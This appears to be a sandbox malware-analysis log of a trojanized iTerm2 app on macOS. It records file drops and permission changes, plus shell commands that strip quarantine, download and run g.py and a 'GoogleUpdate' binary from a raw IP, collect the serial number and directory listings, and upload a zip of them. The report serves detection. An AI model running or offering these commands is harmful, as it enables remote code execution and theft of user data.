Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Permissions modified for written 64-bit Mach-O /Applications/iTerm.app/Contents/Frameworks/libswiftCore.dylib: bits: - usr: rx grp: rx all: rwx	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Permissions modified for written 64-bit Mach-O /Applications/iTerm.app/Contents/Frameworks/libswiftCoreData.dylib: bits: - usr: rx grp: rx all: rwx	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Permissions modified for written 64-bit Mach-O /Applications/iTerm.app/Contents/Frameworks/libswiftCoreFoundation.dylib: bits: - usr: rx grp: rx all: rwx	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Permissions modified for written 64-bit Mach-O /Applications/iTerm.app/Contents/Frameworks/libswiftCoreGraphics.dylib: bits: - usr: rx grp: rx all: rwx	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Permissions modified for written 64-bit Mach-O /Applications/iTerm.app/Contents/Frameworks/libswiftCoreImage.dylib: bits: - usr: rx grp: rx all: rwx	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Permissions modified for written 64-bit Mach-O /Applications/iTerm.app/Contents/Frameworks/libswiftCoreLocation.dylib: bits: - usr: rx grp: rx all: rwx	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Permissions modified for written 64-bit Mach-O /Applications/iTerm.app/Contents/Frameworks/libswiftDarwin.dylib: bits: - usr: rx grp: rx all: rwx	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Permissions modified for written 64-bit Mach-O /Applications/iTerm.app/Contents/Frameworks/libswiftDispatch.dylib: bits: - usr: rx grp: rx all: rwx	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Permissions modified for written 64-bit Mach-O /Applications/iTerm.app/Contents/Frameworks/libswiftFoundation.dylib: bits: - usr: rx grp: rx all: rwx	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Permissions modified for written 64-bit Mach-O /Applications/iTerm.app/Contents/Frameworks/libswiftIOKit.dylib: bits: - usr: rx grp: rx all: rwx	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Permissions modified for written 64-bit Mach-O /Applications/iTerm.app/Contents/Frameworks/libswiftMetal.dylib: bits: - usr: rx grp: rx all: rwx	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Permissions modified for written 64-bit Mach-O /Applications/iTerm.app/Contents/Frameworks/libswiftObjectiveC.dylib: bits: - usr: rx grp: rx all: rwx	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Permissions modified for written 64-bit Mach-O /Applications/iTerm.app/Contents/Frameworks/libswiftos.dylib: bits: - usr: rx grp: rx all: rwx	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Permissions modified for written 64-bit Mach-O /Applications/iTerm.app/Contents/Frameworks/libswiftQuartzCore.dylib: bits: - usr: rx grp: rx all: rwx	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Permissions modified for written 64-bit Mach-O /Applications/iTerm.app/Contents/Frameworks/libswiftXPC.dylib: bits: - usr: rx grp: rx all: rwx	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Permissions modified for written FAT Mach-O /Applications/iTerm.app/Contents/Frameworks/NMSSH.framework/Versions/A/NMSSH: bits: - usr: rx grp: rx all: rwx	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Permissions modified for written FAT Mach-O /Applications/iTerm.app/Contents/Frameworks/SearchableComboListView.framework/Versions/A/SearchableComboListView: bits: - usr: rx grp: rx all: rwx	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Permissions modified for written FAT Mach-O /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/MacOS/Autoupdate: bits: - usr: rx grp: rx all: rwx	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Permissions modified for written FAT Mach-O /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/MacOS/fileop: bits: - usr: rx grp: rx all: rwx	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Permissions modified for written FAT Mach-O /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Sparkle: bits: - usr: rx grp: rx all: rwx	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Permissions modified for written FAT Mach-O /Applications/iTerm.app/Contents/MacOS/iTerm2: bits: - usr: rx grp: rx all: rwx	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Permissions modified for written FAT Mach-O /Applications/iTerm.app/Contents/MacOS/iTermServer: bits: - usr: rx grp: rx all: rwx	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Permissions modified for written FAT Mach-O /Applications/iTerm.app/Contents/MacOS/ShellLauncher: bits: - usr: rx grp: rx all: rwx	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Permissions modified for written FAT Mach-O /Applications/iTerm.app/Contents/XPCServices/iTerm2SandboxedWorker.xpc/Contents/MacOS/iTerm2SandboxedWorker: bits: - usr: rx grp: rx all: rwx	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Permissions modified for written FAT Mach-O /Applications/iTerm.app/Contents/XPCServices/pidinfo.xpc/Contents/MacOS/pidinfo: bits: - usr: rx grp: rx all: rwx	Jump to dropped file

Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Shell command executed: /bin/sh -c (while /bin/kill -0 1036 >&/dev/null do /bin/sleep 0.1 done /usr/bin/xattr -d -r com.apple.quarantine '/Applications/iTerm.app' /usr/bin/open '/Applications/iTerm.app') &	Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Shell command executed: /bin/sh -c (/bin/sleep 5 && /usr/bin/hdiutil detach '/dev/disk2s1') &	Jump to behavior
Source: /Applications/iTerm.app/Contents/MacOS/iTerm2 (PID: 1070)	Shell command executed: /bin/sh -c curl -sfo /tmp/g.py http://47.75.123.111/g.py && chmod 777 /tmp/g.py && python /tmp/g.py && curl -sfo /tmp/GoogleUpdate http://47.75.123.111/GoogleUpdate && chmod 777 /tmp/GoogleUpdate && /tmp/GoogleUpdate	Jump to behavior
Source: /Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 1102)	Shell command executed: sh -c uname -p 2> /dev/null	Jump to behavior
Source: /Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 1102)	Shell command executed: sh -c curl -F 'file=@/Users/ben/Library/Logs/tmp.zip' 'http://47.75.123.111/u.php?id=C07SW433G1HW' -v	Jump to behavior
Source: /Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 1107)	Shell command executed: /bin/sh -c bash -c ls /	Jump to behavior
Source: /bin/sh (PID: 1107)	Shell command executed: bash -c ls /	Jump to behavior
Source: /Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 1108)	Shell command executed: /bin/sh -c ioreg -l \| grep IOPlatformSerialNumber >>/Users/ben/Library/Logs/tmp/root.txt	Jump to behavior
Source: /Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 1111)	Shell command executed: /bin/sh -c echo ls -la ~/ >>/Users/ben/Library/Logs/tmp/root.txt	Jump to behavior
Source: /Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 1112)	Shell command executed: /bin/sh -c ls -la ~/ >>/Users/ben/Library/Logs/tmp/root.txt	Jump to behavior
Source: /Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 1114)	Shell command executed: /bin/sh -c echo ls -la /Applications >>/Users/ben/Library/Logs/tmp/root.txt	Jump to behavior
Source: /Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 1115)	Shell command executed: /bin/sh -c ls -la /Applications >>/Users/ben/Library/Logs/tmp/root.txt	Jump to behavior
Source: /Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 1117)	Shell command executed: /bin/sh -c ioreg -l \| grep IOPlatformSerialNumber	Jump to behavior
Source: /Applications/iTerm.app/Contents/XPCServices/pidinfo.xpc/Contents/MacOS/pidinfo (PID: 1071)	Shell command executed: /bin/bash -c /var/folders/38/zm_ty_1144zdsp848dlcj5mw0000gn/T/iTerm2-scriptBUUtwZsh	Jump to behavior

Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Writes shell script file to disk with an unusual file extension: /Applications/iTerm.app/Contents/Resources/it2run	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Writes shell script file to disk with an unusual file extension: /Applications/iTerm.app/Contents/Resources/iterm2_shell_integration.bash	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Writes shell script file to disk with an unusual file extension: /Applications/iTerm.app/Contents/Resources/template_basic_daemon.py	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Writes shell script file to disk with an unusual file extension: /Applications/iTerm.app/Contents/Resources/template_basic_simple.py	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Writes shell script file to disk with an unusual file extension: /Applications/iTerm.app/Contents/Resources/template_pyenv_daemon.py	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Writes shell script file to disk with an unusual file extension: /Applications/iTerm.app/Contents/Resources/template_pyenv_simple.py	Jump to dropped file

Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Preferences launchservices plist file read: /Users/ben/Library/Preferences/com.apple.LaunchServices/com.apple.launchservices.secure.plist	Jump to behavior
Source: /Applications/iTerm.app/Contents/MacOS/iTerm2 (PID: 1070)	Preferences launchservices plist file read: /Users/ben/Library/Preferences/com.apple.LaunchServices/com.apple.launchservices.secure.plist	Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1075)	Preferences launchservices plist file read: /Users/ben/Library/Preferences/com.apple.LaunchServices/com.apple.launchservices.secure.plist	Jump to behavior

Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Python file created: /Applications/iTerm.app/Contents/Resources/template_basic_daemon.py	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Python file created: /Applications/iTerm.app/Contents/Resources/template_basic_simple.py	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Python file created: /Applications/iTerm.app/Contents/Resources/template_pyenv_daemon.py	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Python file created: /Applications/iTerm.app/Contents/Resources/template_pyenv_simple.py	Jump to dropped file
Source: /usr/bin/curl (PID: 1100)	Python file created: /private/tmp/g.py	Jump to dropped file

Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Shell script file created: /Applications/iTerm.app/Contents/Resources/it2_api_wrapper.sh	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Shell script file created: /Applications/iTerm.app/Contents/Resources/iterm2_git_poll.sh	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Shell script file created: /Applications/iTerm.app/Contents/Resources/iterm2_git_wrapper.sh	Jump to dropped file

Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)

JavaScript file created: /Applications/iTerm.app/Contents/Resources/iterm2Invoke.js

Jump to dropped file

Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/AppIcon.icns	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/Resources/AppIcon.icns	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/Resources/iTerm2Script.icns	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/Resources/iTermRecordingIcon.icns	Jump to dropped file

Source: /bin/sh (PID: 1102)

Python executable: /Library/Frameworks/Python.framework/Versions/2.7/bin/python -> python /tmp/g.py

Jump to behavior

Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Hidden File created: /Users/ben/Library/Application Support/iTerm2/.dat.nosync040c.KEt6ct	Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Hidden File moved: /Users/ben/Library/Application Support/iTerm2/.dat.nosync040c.KEt6ct -> /Users/ben/Library/Application Support/iTerm2/.testwritable.1036	Jump to behavior
Source: /Applications/iTerm.app/Contents/MacOS/iTerm2 (PID: 1070)	Hidden File created: /Users/ben/Library/Application Support/iTerm2/.dat.nosync042e.h7DdT0	Jump to behavior
Source: /Applications/iTerm.app/Contents/MacOS/iTerm2 (PID: 1070)	Hidden File created: /Users/ben/Library/Application Support/iTerm2/.dat.nosync042e.qIH4ak	Jump to behavior
Source: /Applications/iTerm.app/Contents/MacOS/iTerm2 (PID: 1070)	Hidden File created: /Users/ben/Library/Application Support/iTerm2/.dat.nosync042e.EQcm7m	Jump to behavior
Source: /Applications/iTerm.app/Contents/MacOS/iTerm2 (PID: 1070)	Hidden File created: /Users/ben/Library/Application Support/iTerm2/.dat.nosync042e.EB4sTI	Jump to behavior
Source: /Applications/iTerm.app/Contents/MacOS/iTerm2 (PID: 1070)	Hidden File created: /Users/ben/Library/Application Support/iTerm2/.dat.nosync042e.SHsswf	Jump to behavior
Source: /Applications/iTerm.app/Contents/MacOS/iTerm2 (PID: 1070)	Hidden File created: /Users/ben/Library/Application Support/iTerm2/.dat.nosync042e.90WKZE	Jump to behavior
Source: /Applications/iTerm.app/Contents/MacOS/iTerm2 (PID: 1070)	Hidden File moved: /Users/ben/Library/Application Support/iTerm2/.dat.nosync042e.h7DdT0 -> /Users/ben/Library/Application Support/iTerm2/.testwritable.1070	Jump to behavior
Source: /Applications/iTerm.app/Contents/MacOS/iTerm2 (PID: 1070)	Hidden File moved: /Users/ben/Library/Application Support/iTerm2/.dat.nosync042e.qIH4ak -> /Users/ben/Library/Application Support/iTerm2/.testwritable.1070	Jump to behavior
Source: /Applications/iTerm.app/Contents/MacOS/iTerm2 (PID: 1070)	Hidden File moved: /Users/ben/Library/Application Support/iTerm2/.dat.nosync042e.EQcm7m -> /Users/ben/Library/Application Support/iTerm2/.testwritable.1070	Jump to behavior
Source: /Applications/iTerm.app/Contents/MacOS/iTerm2 (PID: 1070)	Hidden File moved: /Users/ben/Library/Application Support/iTerm2/.dat.nosync042e.EB4sTI -> /Users/ben/Library/Application Support/iTerm2/.testwritable.1070	Jump to behavior
Source: /Applications/iTerm.app/Contents/MacOS/iTerm2 (PID: 1070)	Hidden File moved: /Users/ben/Library/Application Support/iTerm2/.dat.nosync042e.SHsswf -> /Users/ben/Library/Application Support/iTerm2/.testwritable.1070	Jump to behavior
Source: /Applications/iTerm.app/Contents/MacOS/iTerm2 (PID: 1070)	Hidden File moved: /Users/ben/Library/Application Support/iTerm2/.dat.nosync042e.90WKZE -> /Users/ben/Library/Application Support/iTerm2/.testwritable.1070	Jump to behavior
Source: /Applications/iTerm.app/Contents/XPCServices/pidinfo.xpc/Contents/MacOS/pidinfo (PID: 1071)	Hidden File created: /var/folders/38/zm_ty_1144zdsp848dlcj5mw0000gn/T/.dat.nosync042f.fHoVZc	Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1075)	Hidden File created: /Users/ben/Library/Application Support/iTerm2/.dat.nosync0433.1zvOeC	Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1075)	Hidden File moved: /Users/ben/Library/Application Support/iTerm2/.dat.nosync0433.1zvOeC -> /Users/ben/Library/Application Support/iTerm2/.testwritable.1075

Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/Frameworks/libcrypto.2.dylib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/Frameworks/libswiftAppKit.dylib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/Frameworks/libswiftCloudKit.dylib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/Frameworks/libswiftContacts.dylib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/Frameworks/libswiftCore.dylib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/Frameworks/libswiftCoreData.dylib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/Frameworks/libswiftCoreFoundation.dylib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/Frameworks/libswiftCoreGraphics.dylib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/Frameworks/libswiftCoreImage.dylib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/Frameworks/libswiftCoreLocation.dylib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/Frameworks/libswiftDarwin.dylib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/Frameworks/libswiftDispatch.dylib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/Frameworks/libswiftFoundation.dylib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/Frameworks/libswiftIOKit.dylib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/Frameworks/libswiftMetal.dylib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/Frameworks/libswiftObjectiveC.dylib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/Frameworks/libswiftos.dylib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/Frameworks/libswiftQuartzCore.dylib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/Frameworks/libswiftXPC.dylib	Jump to dropped file
Source: /usr/bin/curl (PID: 1121)	File written: /private/tmp/GoogleUpdate	Jump to dropped file

Source: /bin/sh (PID: 1047)	Shell process: /bin/kill -0 1036	Jump to behavior
Source: /bin/sh (PID: 1050)	Shell process: /bin/sleep 0.1	Jump to behavior
Source: /bin/sh (PID: 1051)	Shell process: /bin/kill -0 1036	Jump to behavior
Source: /bin/sh (PID: 1052)	Shell process: /bin/sleep 0.1	Jump to behavior
Source: /bin/sh (PID: 1053)	Shell process: /bin/kill -0 1036	Jump to behavior
Source: /bin/sh (PID: 1054)	Shell process: /bin/sleep 0.1	Jump to behavior
Source: /bin/sh (PID: 1055)	Shell process: /bin/kill -0 1036	Jump to behavior
Source: /bin/sh (PID: 1056)	Shell process: /bin/sleep 0.1	Jump to behavior
Source: /bin/sh (PID: 1057)	Shell process: /bin/kill -0 1036	Jump to behavior
Source: /bin/sh (PID: 1058)	Shell process: /bin/sleep 0.1	Jump to behavior
Source: /bin/sh (PID: 1059)	Shell process: /bin/kill -0 1036	Jump to behavior
Source: /bin/sh (PID: 1060)	Shell process: /bin/sleep 0.1	Jump to behavior
Source: /bin/sh (PID: 1061)	Shell process: /bin/kill -0 1036	Jump to behavior
Source: /bin/sh (PID: 1062)	Shell process: /bin/sleep 0.1	Jump to behavior
Source: /bin/sh (PID: 1063)	Shell process: /bin/kill -0 1036	Jump to behavior
Source: /bin/sh (PID: 1064)	Shell process: /bin/sleep 0.1	Jump to behavior
Source: /bin/sh (PID: 1065)	Shell process: /bin/kill -0 1036	Jump to behavior
Source: /bin/sh (PID: 1066)	Shell process: /bin/sleep 0.1	Jump to behavior
Source: /bin/sh (PID: 1067)	Shell process: /bin/kill -0 1036	Jump to behavior
Source: /bin/sh (PID: 1068)	Shell process: /usr/bin/xattr -d -r com.apple.quarantine /Applications/iTerm.app	Jump to behavior
Source: /bin/sh (PID: 1069)	Shell process: /usr/bin/open /Applications/iTerm.app	Jump to behavior
Source: /bin/sh (PID: 1049)	Shell process: /bin/sleep 5	Jump to behavior
Source: /bin/sh (PID: 1076)	Shell process: /usr/bin/hdiutil detach /dev/disk2s1	Jump to behavior
Source: /bin/sh (PID: 1100)	Shell process: curl -sfo /tmp/g.py http://47.75.123.111/g.py	Jump to behavior
Source: /bin/sh (PID: 1101)	Shell process: chmod 777 /tmp/g.py	Jump to behavior
Source: /bin/sh (PID: 1102)	Shell process: python /tmp/g.py	Jump to behavior
Source: /bin/sh (PID: 1104)	Shell process: uname -p	Jump to behavior
Source: /bin/sh (PID: 1107)	Shell process: bash -c ls /	Jump to behavior
Source: /bin/sh (PID: 1109)	Shell process: ioreg -l	Jump to behavior
Source: /bin/sh (PID: 1110)	Shell process: grep IOPlatformSerialNumber	Jump to behavior
Source: /bin/sh (PID: 1113)	Shell process: ls -la /Users/ben/	Jump to behavior
Source: /bin/sh (PID: 1116)	Shell process: ls -la /Applications	Jump to behavior
Source: /bin/sh (PID: 1118)	Shell process: ioreg -l	Jump to behavior
Source: /bin/sh (PID: 1119)	Shell process: grep IOPlatformSerialNumber	Jump to behavior
Source: /bin/sh (PID: 1120)	Shell process: curl -F file=@/Users/ben/Library/Logs/tmp.zip http://47.75.123.111/u.php?id=C07SW433G1HW -v	Jump to behavior
Source: /bin/sh (PID: 1121)	Shell process: curl -sfo /tmp/GoogleUpdate http://47.75.123.111/GoogleUpdate	Jump to behavior
Source: /bin/sh (PID: 1122)	Shell process: chmod 777 /tmp/GoogleUpdate	Jump to behavior
Source: /bin/sh (PID: 1123)	Shell process: /tmp/GoogleUpdate	Jump to behavior

Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/Frameworks/BetterFontPicker.framework/Versions/A/BetterFontPicker	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/Frameworks/ColorPicker.framework/Versions/A/ColorPicker	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/Frameworks/CoreParse.framework/Versions/A/CoreParse	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/Frameworks/NMSSH.framework/Versions/A/NMSSH	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/Frameworks/SearchableComboListView.framework/Versions/A/SearchableComboListView	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/MacOS/Autoupdate	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/MacOS/fileop	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Sparkle	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/MacOS/iTerm2	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/MacOS/iTermServer	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/MacOS/ShellLauncher	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/XPCServices/iTerm2SandboxedWorker.xpc/Contents/MacOS/iTerm2SandboxedWorker	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	File written: /Applications/iTerm.app/Contents/XPCServices/pidinfo.xpc/Contents/MacOS/pidinfo	Jump to dropped file

Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	XML plist file created: /Applications/iTerm.app/Contents/_CodeSignature/CodeResources	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	XML plist file created: /Applications/iTerm.app/Contents/Frameworks/BetterFontPicker.framework/Versions/A/_CodeSignature/CodeResources	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	XML plist file created: /Applications/iTerm.app/Contents/Frameworks/BetterFontPicker.framework/Versions/A/Resources/Info.plist	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/BetterFontPicker.framework/Versions/A/Resources/MainViewController.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	XML plist file created: /Applications/iTerm.app/Contents/Frameworks/ColorPicker.framework/Versions/A/_CodeSignature/CodeResources	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	XML plist file created: /Applications/iTerm.app/Contents/Frameworks/ColorPicker.framework/Versions/A/Resources/Info.plist	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	XML plist file created: /Applications/iTerm.app/Contents/Frameworks/CoreParse.framework/Versions/A/_CodeSignature/CodeResources	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	XML plist file created: /Applications/iTerm.app/Contents/Frameworks/CoreParse.framework/Versions/A/Resources/Info.plist	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	XML plist file created: /Applications/iTerm.app/Contents/Frameworks/NMSSH.framework/Versions/A/_CodeSignature/CodeResources	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	XML plist file created: /Applications/iTerm.app/Contents/Frameworks/NMSSH.framework/Versions/A/Resources/Info.plist	Jump to dropped file
